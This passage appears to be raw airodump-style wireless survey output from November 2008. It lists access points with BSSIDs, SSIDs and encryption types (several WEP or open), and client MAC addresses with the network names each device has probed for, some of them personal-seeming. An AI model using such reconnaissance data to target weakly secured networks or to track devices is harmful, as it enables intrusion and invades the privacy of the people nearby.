0. 0, 5, Crush, 00:21:29:67:AC:4A, 2008-11-02 22:39:00, 2008-11-05 01:43:58, 11, 54, WPA , TKIP,PSK, 25, 92479, 3908, 0. 0. 0. 0, 11, SRG_Network, 00:13:10:C9:DC:C0, 2008-11-02 22:40:41, 2008-11-05 01:43:56, 6, 54, WPA , TKIP,PSK, 25, 87194, 286, 0. 0. 0. 0, 4, jita, 00:13:10:C6:5D:A4, 2008-11-02 22:40:42, 2008-11-05 01:43:56, 1, 54, WPA , TKIP,PSK, 22, 63547, 804, 0. 0. 0. 0, 7, Morf-Ra, 00:13:10:73:8F:DE, 2008-11-02 22:40:41, 2008-11-05 01:43:58, 10, 54, WEP , WEP40 WEP,SKA, 23, 116563, 347, 0. 0. 0. 0, 9, RBGcolors, 00:09:5B:ED:2A:30, 2008-11-02 22:40:41, 2008-11-05 01:43:58, 11, 54, WEP , WEP,SKA, 28, 153716, 57, 0. 0. 0. 0, 7, NETGEAR, 00:17:9A:48:1B:17, 2008-11-02 22:39:17, 2008-11-05 01:43:57, 7, 54, OPN , , , 27, 72702, 542, 192.168. 0. 1, 10, Fenerbahce, 00:1C:DF:39:B4:13, 2008-11-02 22:39:00, 2008-11-05 01:43:58, 1, 54, WPA , TKIP,PSK, 31, 127269, 5881, 0. 0. 0. 0, 8, Legal EZ, 00:1C:10:A8:72:41, 2008-11-02 22:39:03, 2008-11-05 01:43:58, 6, 54, WEP , WEP, , 33, 189655, 2633, 0. 0. 0. 0, 11, willinho123, 00:1E:52:7A:C4:F8, 2008-11-02 22:39:19, 2008-11-05 01:43:58, 9, 54, WPA2WPA , CCMP TKIP,PSK, 41, 226084, 4738, 0. 0. 0. 0, 12, Base Station, 00:1E:58:EE:94:DF, 2008-11-02 22:40:41, 2008-11-05 01:43:56, 5, 54, WPA2, CCMP TKIP,PSK, 33, 212184, 18149, 0. 0. 0. 0, 5, David, 00:18:39:3E:C5:5D, 2008-11-02 22:39:11, 2008-11-05 01:43:58, 11, 54, OPN , , , 29, 225225, 8876, 192.168. 1.104, 6, Fundip, 00:10:DB:A0:D6:A1, 2008-11-02 22:38:59, 2008-11-05 01:43:58, 1, 54, WPA , CCMP,PSK, 67, 220549, 4513, 0. 0. 0. 0, 15, NS-5GT-Wireless, Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs 00:19:7E:9A:66:96, 2008-11-02 22:44:11, 2008-11-05 01:42:36, 21, 1918, 00:1E:58:00:FF:5E, amydlink,AmyDLink 00:90:4B:CB:95:B1, 2008-11-02 22:42:59, 2008-11-05 01:42:33, 20, 2273, 00:14:BF:00:FC:1D, printz,linksys_SES_14585,Awireless,linksys_SES_32319 00:17:AB:43:6D:29, 2008-11-02 23:05:16, 2008-11-05 01:42:28, 20, 232, 00:1D:7E:47:F6:B2, Gizmo 00:19:7E:94:95:05, 2008-11-02 22:56:34, 2008-11-05 01:43:42, 20, 2734, 00:12:17:3A:B9:78, HOMENET 00:1F:3A:94:F3:9E, 2008-11-04 13:54:54, 2008-11-05 01:41:47, 15, 381, 00:13:10:E3:26:2F, NOVA_2,Oasis 00:11:D9:00:9F:1D, 2008-11-02 23:01:43, 2008-11-05 01:38:30, 16, 399, 00:1C:B3:AE:16:6E, POCO 00:1B:2F:37:B1:EC, 2008-11-03 23:32:15, 2008-11-05 01:43:42, 10, 246, 00:1D:7E:47:F6:B2, Gizmo 00:0E:A6:F1:55:B2, 2008-11-02 22:45:08, 2008-11-05 01:30:25, 16, 1625, 00:1D:7E:47:F6:B2, home-net,doneNetPRIV,Gizmo 00:23:12:92:96:3A, 2008-11-05 00:58:37, 2008-11-05 01:15:55, 16, 7, (not associated) , 00:90:96:B1:AB:F3, 2008-11-03 01:24:39, 2008-11-05 01:15:02, 20, 240, 00:13:10:73:8F:DE, RBGcolors 00:23:12:84:88:6E, 2008-11-05 01:01:20, 2008-11-05 01:09:01, 32, 12, (not associated) , 00:90:96:F0:32:26, 2008-11-03 00:15:00, 2008-11-05 01:07:43, 18, 153, 00:1D:7E:40:D7:4F, linksys 00:18:F3:3D:B8:9E, 2008-11-05 00:57:57, 2008-11-05 00:57:57, 13, 1, (not associated) , linksys 00:14:A5:A1:FC:97, 2008-11-02 23:03:32, 2008-11-05 00:57:45, 13, 10, (not associated) , 007 00:1C:B3:C1:07:07, 2008-11-03 01:23:40, 2008-11-05 00:49:11, 21, 301, 00:1E:58:EE:94:DF, David,linksys 00:1E:C2:F3:75:AB, 2008-11-02 22:54:35, 2008-11-05 00:43:57, 13, 590, 00:13:10:E3:BF:C5, 00:1E:4C:46:5B:F0, 2008-11-03 01:02:27, 2008-11-05 00:39:14, 18, 94, 00:1D:7E:16:17:F4, linksys 00:23:6C:7E:54:AA, 2008-11-04 00:35:43, 2008-11-05 00:35:55, 26, 84, 00:1E:52:7A:C4:F8, Base Station 00:19:D2:2D:A7:DF, 2008-11-02 23:23:20, 2008-11-05 00:19:12, 18, 139, 00:1E:2A:50:4F:18, Owner8567,Intel 802.11 Default SSID 00:18:DE:9F:65:CB, 2008-11-04 20:21:59, 2008-11-05 00:07:47, 10, 7, 02:7A:75:47:0E:87, 00:19:7D:18:59:29, 2008-11-02 22:53:58, 2008-11-04 23:46:30, 23, 393, 00:09:5B:6A:C6:30, fischel 00:1E:C2:32:2C:56, 2008-11-02 23:29:35, 2008-11-04 23:11:44, 13, 538, 02:1C:BF:01:AB:84, Martin_Wireless 00:19:1D:FC:18:C4, 2008-11-03 06:22:28, 2008-11-04 23:09:50, 16, 21, 00:09:5B:6A:C6:30, fischel 00:D0:59:C9:E9:BD, 2008-11-03 00:37:48, 2008-11-04 23:08:29, 12, 557, 00:0C:41:49:67:9F, PRISM-SSID 00:16:B6:5A:61:ED, 2008-11-03 21:27:12, 2008-11-04 23:05:04, 20, 1975, 00:18:39:3E:C5:5D, Fundip 00:16:CE:33:FC:36, 2008-11-03 23:37:01, 2008-11-04 23:01:04, 26, 13, 02:2A:C5:BD:0D:44, 00:18:DE:0A:64:C6, 2008-11-02 23:34:05, 2008-11-04 23:01:18, 13, 80, 00:15:E9:16:01:30, Nicole's mommy 00:1B:77:1A:5F:C2, 2008-11-04 01:11:11, 2008-11-04 22:45:00, 18, 10, 00:1B:2F:01:47:02, KD Wireless Net 00:11:F5:50:8B:7D, 2008-11-04 01:03:59, 2008-11-04 22:26:32, 13, 25, 00:1C:10:A8:20:6F, geyerinternet 00:21:E9:3A:88:32, 2008-11-04 22:19:56, 2008-11-04 22:19:56, -1, 1, 00:16:B6:E3:C3:7F, 00:20:00:1B:71:45, 2008-11-02 22:40:41, 2008-11-04 22:17:13, 10, 43, 02:B0:38:5F:0E:51, 00:18:DE:C9:94:0D, 2008-11-04 22:08:30, 2008-11-04 22:08:37, 24, 3, (not associated) , Volun_WiFi 00:18:DE:9F:7E:BA, 2008-11-03 20:05:07, 2008-11-04 22:01:54, 52, 33, (not associated) , Staff_WiFi,NETGEAR 00:13:02:06:73:FB, 2008-11-03 13:41:13, 2008-11-04 21:19:17, 20, 98, 00:1F:33:B3:E3:3E, 101 00:0D:88:67:A9:DD, 2008-11-04 01:05:12, 2008-11-04 21:06:30, -1, 24, 00:1F:33:31:5E:D0, 00:0E:D7:0F:40:7B, 2008-11-04 20:44:36, 2008-11-04 20:45:15, 16, 5, 9E:00:D4:01:DD:02, 00:23:4D:36:C1:19, 2008-11-04 20:28:59, 2008-11-04 20:44:59, 16, 2, (not associated) , 00:1A:73:89:7B:BC, 2008-11-03 15:02:34, 2008-11-04 19:52:33, 13, 19, 00:17:9A:29:20:62, 00:0E:35:97:6F:02, 2008-11-03 08:25:45, 2008-11-04 19:49:42, -1, 2, 00:13:10:E3:26:2F, 00:1B:63:EA:04:17, 2008-11-03 15:46:23, 2008-11-04 19:49:15, 29, 41, (not associated) , 00:0C:41:56:19:49, 2008-11-02 22:41:17, 2008-11-04 19:46:26, 29, 992, 00:1C:10:A8:20:6F, 00:21:E9:DA:E2:9A, 2008-11-03 01:13:46, 2008-11-04 19:43:41, 15, 35, 00:1E:52:F5:3E:D5, Hanuman 00:12:5A:EE:49:58, 2008-11-04 15:26:35, 2008-11-04 19:28:26, 20, 8, 00:1D:7E:16:17:F4, 00:12:F0:B8:5B:DC, 2008-11-02 22:47:45, 2008-11-04 19:15:01, 13, 557, 00:17:9A:48:1B:17, Fenerbahce 00:23:12:CC:0F:C3, 2008-11-04 18:21:04, 2008-11-04 18:21:04, 13, 1, (not associated) , 00:0E:9B:01:23:25, 2008-11-03 02:20:51, 2008-11-04 17:43:49, 10, 15846, 00:1E:58:EE:94:DF, Private,David 00:18:DE:39:57:90, 2008-11-02 22:44:41, 2008-11-04 17:24:32, 15, 719, 00:1B:2F:E8:8D:1A, atown 00:18:DE:C9:99:E6, 2008-11-04 12:16:35, 2008-11-04 17:21:53, 23, 15, (not associated) , Staff_WiFi 00:1C:BF:24:14:29, 2008-11-03 18:34:25, 2008-11-04 17:14:25, 30, 12, (not associated) , Staff_WiFi 00:08:21:31:05:8E, 2008-11-04 16:35:35, 2008-11-04 16:35:42, 41, 6, 82:03:45:03:42:03, 00:0A:B7:4C:BD:98, 2008-11-04 16:35:38, 2008-11-04 16:35:44, 16, 4, 82:03:45:03:42:03, 00:04:4B:14:85:F1, 2008-11-03 11:31:23, 2008-11-04 15:31:44, 20, 28, 00:12:17:3A:B9:78, 00:14:A5:39:CF:CF, 2008-11-04 14:56:21, 2008-11-04 15:19:17, 30, 66, 00:1E:52:7A:C4:F8, Base Station 00:0E:35:FF:4B:53, 2008-11-04 14:48:55, 2008-11-04 14:49:52, 29, 105, 00:0C:41:B0:6D:1A, 00:23:6C:04:C7:2E, 2008-11-03 13:44:27, 2008-11-04 13:42:37, 16, 16, (not associated) , 00:13:E8:A3:A3:AB, 2008-11-03 12:58:02, 2008-11-04 13:28:31, 15, 4, (not associated) , hhonors 00:21:06:9C:05:D2, 2008-11-04 13:27:55, 2008-11-04 13:27:55, 21, 3, (not associated) , @Home 00:12:F0:4A:4C:60, 2008-11-03 23:38:12, 2008-11-04 13:24:36, 23, 7945, 00:10:DB:A0:D6:A1, NS-5GT-Wireless 00:14:A5:39:DC:E6, 2008-11-04 13:23:44, 2008-11-04 13:23:44, 12, 1, (not associated) , 00:23:12:B3:44:95, 2008-11-04 13:12:59, 2008-11-04 13:12:59, 16, 1, (not associated) , 00:1C:B3:0D:2E:42, 2008-11-04 12:43:08, 2008-11-04 12:43:08, 15, 1, (not associated) , 00:1E:52:A5:DD:DD, 2008-11-02 22:54:22, 2008-11-04 12:38:31, 9, 12, 00:16:B6:E3:C3:7F, linksys 00:0B:BE:F1:CA:A2, 2008-11-03 22:43:18, 2008-11-04 12:06:28, 36, 4, (not associated) , Arlington 00:21:E9:83:24:30, 2008-11-04 11:59:46, 2008-11-04 11:59:46, 21, 1, (not associated) , 00:21:E9:87:DC:88, 2008-11-04 11:44:59, 2008-11-04 11:45:01, 16, 2, (not associated) , 00:21:E9:6F:D6:0D, 2008-11-03 00:10:40, 2008-11-04 10:57:00, 52, 373, 00:10:DB:A0:D6:A1, NS-5GT-Wireless 00:11:D9:01:94:ED, 2008-11-04 03:51:23, 2008-11-04 10:56:25, 16, 5, 00:0D:0B:2B:22:AD, hsutree 00:23:6C:37:90:C9, 2008-11-02 23:56:58, 2008-11-04 10:31:18, 21, 140, 00:13:10:A9:FA:DA, HM 00:13:E8:7F:9D:0B, 2008-11-02 22:43:26, 2008-11-04 10:25:57, 16, 489, 00:19:5B:4C:9D:CB, HLnet 00:23:12:8A:EF:2F, 2008-11-03 14:16:41, 2008-11-04 10:21:53, 18, 230, 00:19:5B:4C:9D:CB, HLnet 00:1F:5B:86:20:E2, 2008-11-03 00:21:47, 2008-11-04 09:01:53, 23, 19, (not associated) , Hanuman 00:1E:C2:DA:F0:F0, 2008-11-04 08:10:43, 2008-11-04 08:11:08, 33, 2, (not associated) , 00:21:E9:E1:D7:15, 2008-11-04 00:00:16, 2008-11-04 06:00:25, 18, 1889, 00:17:3F:3A:F0:7E, Finack,linksys 00:0F:66:E7:A3:ED, 2008-11-03 04:16:37, 2008-11-04 05:37:53, -1, 8, 00:13:10:E3:26:2F, 00:1C:B3:0D:64:0F, 2008-11-04 05:17:42, 2008-11-04 05:17:42, -1, 3, 00:16:B6:E3:C3:7F, 00:10:DB:A0:D6:A1, 2008-11-04 03:25:54, 2008-11-04 03:25:56, 92, 2, (not associated) , 00:13:CE:84:9C:2C, 2008-11-03 13:43:58, 2008-11-04 02:16:38, 29, 842, 00:13:10:E3:BF:C5, ,home-net 00:11:F5:0D:98:E5, 2008-11-04 00:20:59, 2008-11-04 01:21:15, 18, 18, (not associated) , Tom 00:1E:52:7A:C4:F8, 2008-11-04 01:05:05, 2008-11-04 01:08:26, 33, 27, (not associated) , Base Station 00:21:D1:09:1F:66, 2008-11-03 23:11:15, 2008-11-03 23:11:15, 18, 1, (not associated) , 00:23:12:B9:17:5E, 2008-11-03 22:53:52, 2008-11-03 22:53:52, 16, 1, (not associated) , 00:1C:B3:68:33:4A, 2008-11-03 21:26:05, 2008-11-03 21:35:42, 12, 28, 4E:ED:40:53:FE:97, 00:0C:F1:14:33:EB, 2008-11-03 18:01:08, 2008-11-03 18:01:09, 20, 5, (not associated) , Staff_WiFi 00:13:CE:ED:F0:86, 2008-11-03 17:19:51, 2008-11-03 17:19:51, 18, 1, (not associated) , Staff_WiFi 00:0A:B7:BB:44:FE, 2008-11-03 16:50:26, 2008-11-03 16:50:29, 30, 4, 72:03:92:02:08:02, 00:02:2D:B2:F2:85, 2008-11-03 10:18:48, 2008-11-03 15:35:03, -1, 3, 00:13:10:E3:26:2F, 00:1C:B3:BF:7D:22, 2008-11-03 14:45:39, 2008-11-03 14:45:42, 26, 3, (not associated) , 00:1F:3A:02:9E:59, 2008-11-03 14:26:38, 2008-11-03 14:26:38, 20, 1, (not associated) , 00:0C:F1:55:DA:BD, 2008-11-03 13:20:15, 2008-11-05 01:43:55, 16, 52, 00:13:10:73:8F:DE, RBGcolors 00:23:12:83:80:B3, 2008-11-03 13:26:27, 2008-11-03 13:30:19, 18, 2, (not associated) , 00:12:F0:36:9A:8D, 2008-11-03 12:26:53, 2008-11-03 12:27:03, 16, 15, 00:16:B6:E3:C3:7F, lighthouse,linksys 00:1B:63:C6:8A:08, 2008-11-03 11:45:08, 2008-11-03 11:45:08, 18, 2, (not associated) , HOMENET3 00:17:AB:5C:DE:3A, 2008-11-02 22:40:40, 2008-11-03 06:20:26, 21, 3903, 00:17:3F:3A:F0:7E, Finack 00:1A:73:55:5E:34, 2008-11-03 04:33:48, 2008-11-03 04:33:48, 10, 1, (not associated) , 00:1D:60:D3:49:E5, 2008-11-02 22:51:31, 2008-11-03 04:03:04, 13, 11, 00:0F:66:2C:A6:5B, 00:06:25:AC:DD:A5, 2008-11-03 03:22:33, 2008-11-03 03:22:33, -1, 1, 00:1C:F0:6B:90:66, 00:19:D2:00:B2:BB, 2008-11-03 00:24:16, 2008-11-03 02:49:16, 35, 3095, 00:13:10:E3:BF:C5, home-net 00:21:E9:91:17:62, 2008-11-03 02:08:20, 2008-11-03 02:08:20, 18, 2, (not associated) , 00:1F:F3:9D:CF:50, 2008-11-03 01:56:29, 2008-11-03 01:56:34, 15, 135, 00:1A:70:F5:FE:9E, 00:19:E3:07:8D:72, 2008-11-02 22:49:03, 2008-11-03 01:31:01, 41, 638, 00:13:10:C6:5D:A4, Morf-Ra 00:21:E9:09:01:7D, 2008-11-03 00:14:07, 2008-11-03 00:14:37, 18, 6, 00:16:B6:E3:C3:7F, linksys 00:1A:73:FE:8B:05, 2008-11-02 23:57:08, 2008-11-02 23:57:08, 13, 1, (not associated) , 00:18:41:AF:8C:26, 2008-11-02 23:45:46, 2008-11-02 23:45:47, 36, 5, (not associated) , HOMENET3 00:23:12:DA:AC:A2, 2008-11-02 23:26:36, 2008-11-02 23:26:36, 18, 1, (not associated) , 00:16:E3:8F:01:EB, 2008-11-02 22:49:12, 2008-11-02 22:49:16, 20, 3, (not associated) , plusnet,shoestring farm 00:1B:77:B0:94:CF, 2008-11-02 22:49:28, 2008-11-02 22:49:28, 13, 1, (not associated) , Martin_Wireless 00:1E:C2:DD:61:80, 2008-11-03 00:08:39, 2008-11-03 00:08:40, 18, 2, (not associated) , 00:1B:77:A9:34:BA, 2008-11-03 01:33:32, 2008-11-03 01:33:32, 15, 2, (not associated) , Ding735Dong 00:11:24:97:97:8A, 2008-11-02 23:16:28, 2008-11-03 01:42:46, -1, 4, 00:1E:52:7A:C4:F8, 00:18:DE:9F:5D:FD, 2008-11-02 23:47:42, 2008-11-03 01:49:21, 18, 8, (not associated) , Boone,AVFRD 00:90:4B:CC:0F:C4, 2008-11-03 01:32:53, 2008-11-03 01:52:49, 16, 10, (not associated) , linksys 00:1E:C2:DF:B1:FD, 2008-11-03 03:21:38, 2008-11-03 03:21:38, -1, 1, 00:16:B6:E3:C3:7F, 00:23:12:6C:3A:74, 2008-11-03 03:20:38, 2008-11-03 03:36:04, 18, 3, 00:0F:66:2C:A6:5B, 00:12:F0:3A:41:3F, 2008-11-03 04:18:09, 2008-11-03 04:18:09, 13, 1, (not associated) , 00:1D:4F:EA:DF:03, 2008-11-03 06:14:39, 2008-11-03 06:14:39, -1, 6, 00:16:B6:E3:C3:7F, 00:17:A4:7A:52:8A, 2008-11-03 01:26:35, 2008-11-03 08:52:09, 10, 9, 00:09:5B:D8:B7:D0, Nedgear 00:18:DE:C9:B6:FB, 2008-11-03 11:07:24, 2008-11-03 11:07:24, 23, 2, (not associated) , Staff_WiFi 00:13:CE:ED:E8:99, 2008-11-03 11:17:23, 2008-11-03 11:17:23, 13, 1, (not associated) , 00:04:23:79:DF:33, 2008-11-03 13:07:32, 2008-11-03 13:07:32, 13, 2, (not associated) , Boingo Hotspot 00:A0:F8:C4:28:D7, 2008-11-03 13:13:58, 2008-11-03 13:14:01, 13, 2, 02:D5:01:C8:28:D7, 00:21:E9:93:6F:B6, 2008-11-03 13:46:11, 2008-11-03 13:46:11, 13, 1, (not associated) , 00:23:12:DA:BD:5E, 2008-11-03 13:49:56, 2008-11-03 13:50:40, 13, 149, 00:16:B6:E3:C3:7F, 00:0E:35:A0:29:75, 2008-11-03 14:03:20, 2008-11-03 14:03:20, 16, 1, (not associated) , 00:30:65:25:74:0E, 2008-11-03 01:42:00, 2008-11-03 14:36:53, 26, 3706, 00:1E:52:7A:C4:F8, 75734b31-3f4d09cd-639675b8-9787,Base Station 00:23:12:8D:2A:FF, 2008-11-03 16:26:16, 2008-11-03 16:26:16, 23, 2, (not associated) , 00:21:E9:4F:87:25, 2008-11-03 16:28:42, 2008-11-03 16:28:42, 16, 1, (not associated) , 00:18:DE:C9:89:FF, 2008-11-02 23:59:36, 2008-11-03 16:33:32, 15, 24, 00:0F:66:2D:A8:21, printz 00:0B:46:F3:41:F3, 2008-11-03 16:50:26, 2008-11-03 16:50:40, 12, 8, 72:03:92:02:08:02, 00:15:70:8D:27:2E, 2008-11-03 15:49:54, 2008-11-03 16:51:20, 24, 5355, (not associated) , 101 00:11:D9:15:80:25, 2008-11-03 18:02:48, 2008-11-03 18:02:48, -1, 1, 00:1D:7E:16:17:F4, 00:0B:46:56:26:5A, 2008-11-03 20:22:05, 2008-11-03 20:22:12, 18, 4, 12:02:DC:02:10:00, 00:08:21:31:77:92, 2008-11-03 20:22:03, 2008-11-03 20:22:11, 23, 7, 12:02:DC:02:10:00, 00:1D:4F:BA:DD:C9, 2008-11-03 21:22:52, 2008-11-03 21:22:52, -1, 1, 00:16:B6:E3:C3:7F, 00:16:CE:19:80:D8, 2008-11-03 22:30:14, 2008-11-03 22:30:14, 20, 1, (not associated) , User 00:1F:3B:00:67:51, 2008-11-03 16:37:39, 2008-11-03 23:05:19, 26, 548, (not associated) , 101,tetrahedron,KSZ05 00:1E:52:A1:5B:C7, 2008-11-03 23:14:55, 2008-11-03 23:14:58, 21, 77, 02:00:BD:65:24:DD, 00:11:D9:19:A6:11, 2008-11-02 22:42:00, 2008-11-04 00:29:36, 32, 4109, 00:1D:7E:47:F6:B2, Gizmo 00:1D:4F:18:0B:43, 2008-11-03 00:28:58, 2008-11-04 01:00:09, 18, 2665, 00:13:10:E3:26:2F, Oasis 00:1B:77:64:63:5A, 2008-11-04 02:02:55, 2008-11-04 02:02:55, 24, 2, (not associated) , Staff_WiFi 00:23:12:84:5A:4E, 2008-11-02 22:41:33, 2008-11-04 02:17:25, 18, 11, (not associated) , 00:19:7E:CC:1B:3D, 2008-11-02 22:51:00, 2008-11-04 02:24:11, 13, 35, (not associated) , mcgrath 00:1D:4F:BE:74:F5, 2008-11-04 02:46:52, 2008-11-04 03:57:22, 15, 16, 00:16:B6:E3:C3:7F, 00:13:46:0D:28:9D, 2008-11-02 22:42:32, 2008-11-04 04:02:02, 26, 194, 00:18:39:3E:C5:5D, 00:1E:E5:27:3F:32, 2008-11-03 00:14:37, 2008-11-04 04:32:42, -1, 15, 00:16:B6:E3:C3:7F, 00:18:DE:C9:AD:56, 2008-11-04 07:05:36, 2008-11-04 07:05:36, 23, 1, (not associated) , Staff_WiFi 00:13:E8:F1:F0:33, 2008-11-03 02:28:00, 2008-11-04 08:02:39, 20, 179, 00:17:3F:3A:F0:7E, Finack 00:18:DE:C9:99:62, 2008-11-04 05:44:10, 2008-11-04 08:04:47, 16, 3, (not associated) , 00:1D:4F:3E:6B:2B, 2008-11-03 00:03:41, 2008-11-04 10:21:31, -1, 44, 00:09:5B:ED:2A:30, 00:23:6C:32:ED:B9, 2008-11-03 02:00:27, 2008-11-04 10:38:45, 29, 11, 00:13:10:A9:FA:DA, 00:13:CE:89:0C:39, 2008-11-04 13:13:35, 2008-11-04 13:13:35, 32, 4, (not associated) , 46yhF3DSnkXC2wI3ofFyhDkleN3oR8Zh 00:1B:63:00:60:C4, 2008-11-03 12:51:31, 2008-11-04 13:53:27, 29, 39, 00:17:3F:3A:F0:7E, Finack 00:1F:5B:55:EE:07, 2008-11-04 14:06:57, 2008-11-04 14:06:57, -1, 1, 00:16:B6:E3:C3:7F, 00:21:E9:0B:F8:AD, 2008-11-04 14:07:26, 2008-11-04 14:07:27, 18, 2, 00:16:B6:E3:C3:7F, 00:21:E9:3D:EB:45, 2008-11-03 06:51:04, 2008-11-04 14:11:19, 23, 1728, 00:17:3F:3A:F0:7E, Finack,linksys 00:1C:F0:93:D4:D6, 2008-11-03 07:36:28, 2008-11-04 15:14:00, 13, 8, (not associated) , Martin_Wireless 00:1B:77:9A:62:1A, 2008-11-02 22:41:42, 2008-11-04 15:19:36, 18, 1528, 00:1D:7E:EF:4E:6F, Molly,Global,AbortSsid 00:21:E9:95:84:C0, 2008-11-03 04:32:01, 2008-11-04 16:02:50, 15, 27, 00:16:B6:E3:C3:7F, linksys 00:23:12:9F:54:87, 2008-11-04 17:10:01, 2008-11-04 17:10:10, 29, 11, 00:16:B6:E3:C3:7F, 00:18:DE:C9:9B:7A, 2008-11-03 17:16:16, 2008-11-04 17:16:12, 30, 10, 00:16:B6:E3:C3:7F, linksys,andy lee 00:13:02:5B:44:D2, 2008-11-02 22:41:26, 2008-11-04 17:36:52, 15, 192, 00:09:5B:D8:B7:D0, Nedgear, 00:23:12:C2:43:0F, 2008-11-04 17:45:33, 2008-11-04 17:45:33, 18, 1, 00:16:B6:E3:C3:7F, 00:0E:35:FB:10:A0, 2008-11-02 22:42:37, 2008-11-04 18:24:58, 24, 696, 00:09:5B:D8:B7:D0, Nedgear 00:D0:59:C8:AC:D4, 2008-11-04 18:34:33, 2008-11-04 18:34:41, 18, 4, (not associated) , 00:0C:F1:5C:BC:48, 2008-11-03 08:28:45, 2008-11-04 20:04:42, -1, 4, 00:13:10:E3:26:2F, 00:22:41:0A:97:B0, 2008-11-04 20:22:47, 2008-11-04 20:22:47, -1, 4, 00:16:B6:E3:C3:7F, 00:13:CE:53:58:5B, 2008-11-04 20:30:54, 2008-11-04 20:30:58, 13, 2, 02:13:CE:00:AD:8D, 00:09:7C:22:6A:EE, 2008-11-04 20:44:55, 2008-11-04 20:44:57, 26, 2, 9E:00:D4:01:DD:02, 00:1B:24:53:3D:A8, 2008-11-04 12:52:31, 2008-11-04 21:17:37, 20, 16, 00:12:17:3A:B9:78, 00:22:41:A0:F6:33, 2008-11-03 23:10:38, 2008-11-04 21:36:43, 23, 344, 00:1E:E5:73:44:DC, njeans 00:16:6F:77:03:61, 2008-11-04 21:41:26, 2008-11-04 21:41:26, 16, 1, (not associated) , linksys_SES_41527 00:11:F5:48:D1:3F, 2008-11-04 21:51:24, 2008-11-04 21:51:24, 21, 4, (not associated) , Wayport_Access,NETGEAR 00:0D:9D:12:BE:A0, 2008-11-04 21:25:01, 2008-11-04 21:58:02, 18, 207, CE:B4:1E:CC:3B:7C, 00:21:E9:06:E7:0C, 2008-11-04 22:12:41, 2008-11-04 22:12:41, 20, 4, 00:16:B6:E3:C3:7F, 00:23:12:A1:E2:75, 2008-11-04 22:42:54, 2008-11-04 22:42:54, 16, 1, (not associated) , 00:1E:8C:3B:D3:40, 2008-11-03 14:36:37, 2008-11-04 22:44:57, -1, 71, 00:14:BF:A3:09:8B, 00:1C:B3:B4:8B:71, 2008-11-03 21:32:11, 2008-11-04 22:47:25, 32, 414, 00:1E:E5:73:44:DC, njeans 00:1D:D9:35:B9:9C, 2008-11-04 22:48:09, 2008-11-04 22:48:09, 10, 1, (not associated) , goskins 00:1C:B3:34:BC:5B, 2008-11-03 22:22:39, 2008-11-04 23:06:45, 18, 18, 00:13:10:88:84:5B, Martin_Wireless 00:11:F5:39:8C:EB, 2008-11-04 11:17:31, 2008-11-04 23:48:42, 16, 266, 00:1E:E5:46:F4:4F, tucker1 00:0E:35:FF:51:EB, 2008-11-04 23:54:10, 2008-11-04 23:54:10, 16, 1, (not associated) , A81U4 00:1D:E0:36:5D:51, 2008-11-03 01:12:09, 2008-11-04 23:56:04, 49, 3591, 00:18:39:3E:C5:5D, Intel 802.11 Default SSID,Fundip 00:1E:4C:B2:F8:DD, 2008-11-03 09:50:40, 2008-11-05 00:08:04, 10, 266, 00:0C:41:BC:B8:D9, Mikeys wireless 00:23:6C:4E:BB:A3, 2008-11-02 22:51:29, 2008-11-05 00:25:33, 29, 265, (not associated) , 00:1E:52:73:57:2C, 2008-11-02 23:42:08, 2008-11-05 00:29:35, 38, 160, 00:13:10:E3:BF:C5, home-net 00:17:FA:69:DE:8A, 2008-11-03 01:32:04, 2008-11-05 00:54:53, 9, 82, 00:09:5B:6A:C6:30, 00:18:DE:9F:91:63, 2008-11-03 22:40:25, 2008-11-05 00:59:25, 24, 9, (not associated) , Staff_WiFi 00:16:CF:A8:BE:07, 2008-11-03 23:17:20, 2008-11-05 01:10:45, 10, 11, (not associated) , XtYr3 00:0F:B5:3F:6B:8F, 2008-11-02 23:47:07, 2008-11-05 01:15:29, 21, 1330, 00:0F:66:6A:3A:C0, godfather 00:0F:66:84:95:DA, 2008-11-02 22:43:30, 2008-11-05 01:20:04, 18, 335, 00:1E:E5:46:F4:4F, tucker1 00:13:CE:3A:FC:13, 2008-11-03 00:16:11, 2008-11-05 01:25:23, 18, 55, 00:0C:41:49:67:9F, Morf-Ra,Shapfam,home-net,wireless 00:11:D9:01:D4:39, 2008-11-03 01:04:07, 2008-11-05 01:26:58, 23, 1384, 00:12:17:3A:B9:78, HOMENET 00:16:CB:BB:AC:1A, 2008-11-02 23:04:52, 2008-11-05 01:43:49, 23, 23, 00:13:10:A9:FA:DA, HM 00:90:4B:96:AE:08, 2008-11-02 22:42:17, 2008-11-05 01:32:02, 18, 222, 00:13:10:C9:DC:C0, jita 00:12:0E:6F:B3:93, 2008-11-03 11:46:59, 2008-11-05 01:35:59, -1, 1407, 00:0C:41:BC:B8:D9, 00:21:E9:5C:86:67, 2008-11-05 01:38:09, 2008-11-05 01:38:09, 21, 1, (not associated) , 00:19:D2:D1:62:46, 2008-11-02 23:25:58, 2008-11-05 01:39:19, 10, 562, (not associated) , 00:1A:E9:83:3D:2B, 2008-11-02 23:12:18, 2008-11-05 01:39:31, 15, 405, 00:12:17:3A:B9:78, HOMENET 00:1F:5B:85:DC:A2, 2008-11-02 23:34:36, 2008-11-05 01:39:29, 21, 508, 00:13:10:A9:FA:DA, HM 00:11:24:A5:61:F3, 2008-11-02 22:40:43, 2008-11-05 01:41:22, 20, 3513, 00:0F:66:6A:3A:C0, godfather 00:1D:0D:56:12:1E, 2008-11-02 23:57:53, 2008-11-05 01:43:03, 13, 5625, 00:17:3F:3A:F0:7E, Finack 00:1A:73:99:3C:6C, 2008-11-02 22:41:30, 2008-11-05 01:42:51, 15, 2138, 00:13:46:08:87:0E, kelvin-d,kevinh 00:19:D2:D3:A8:30, 2008-11-02 22:58:12, 2008-11-05 01:42:52, 15, 140, 00:16:B6:E3:C3:7F, linksys 00:18:F3:E3:15:49, 2008-11-03 23:07:34, 2008-11-05 01:43:31, 16, 946, 00:1C:DF:39:B4:13, Legal EZ 00:0E:35:CA:EB:7A, 2008-11-02 22:45:33, 2008-11-05 01:43:07, 16, 582, 00:09:5B:6A:C6:30, fischel ,101 00:19:7D:05:F7:3A, 2008-11-02 22:41:21, 2008-11-05 01:42:41, 16, 6351, 00:1D:7E:47:F6:B2, Gizmo,kwifi 00:13:CE:25:79:53, 2008-11-02 22:46:44, 2008-11-05 01:42:44, 16, 1528, 00:15:E9:16:01:30, Nicole's mommy,Gizmo 00:22:68:B3:9C:21, 2008-11-02 22:41:16, 2008-11-05 01:43:43, 20, 3169, (not associated) , 00:12:F0:EA:B3:E0, 2008-11-03 02:54:39, 2008-11-05 01:43:57, 16, 4036, 00:1A:70:D1:E9:D6, YaAli 00:0F:B5:BE:A7:DF, 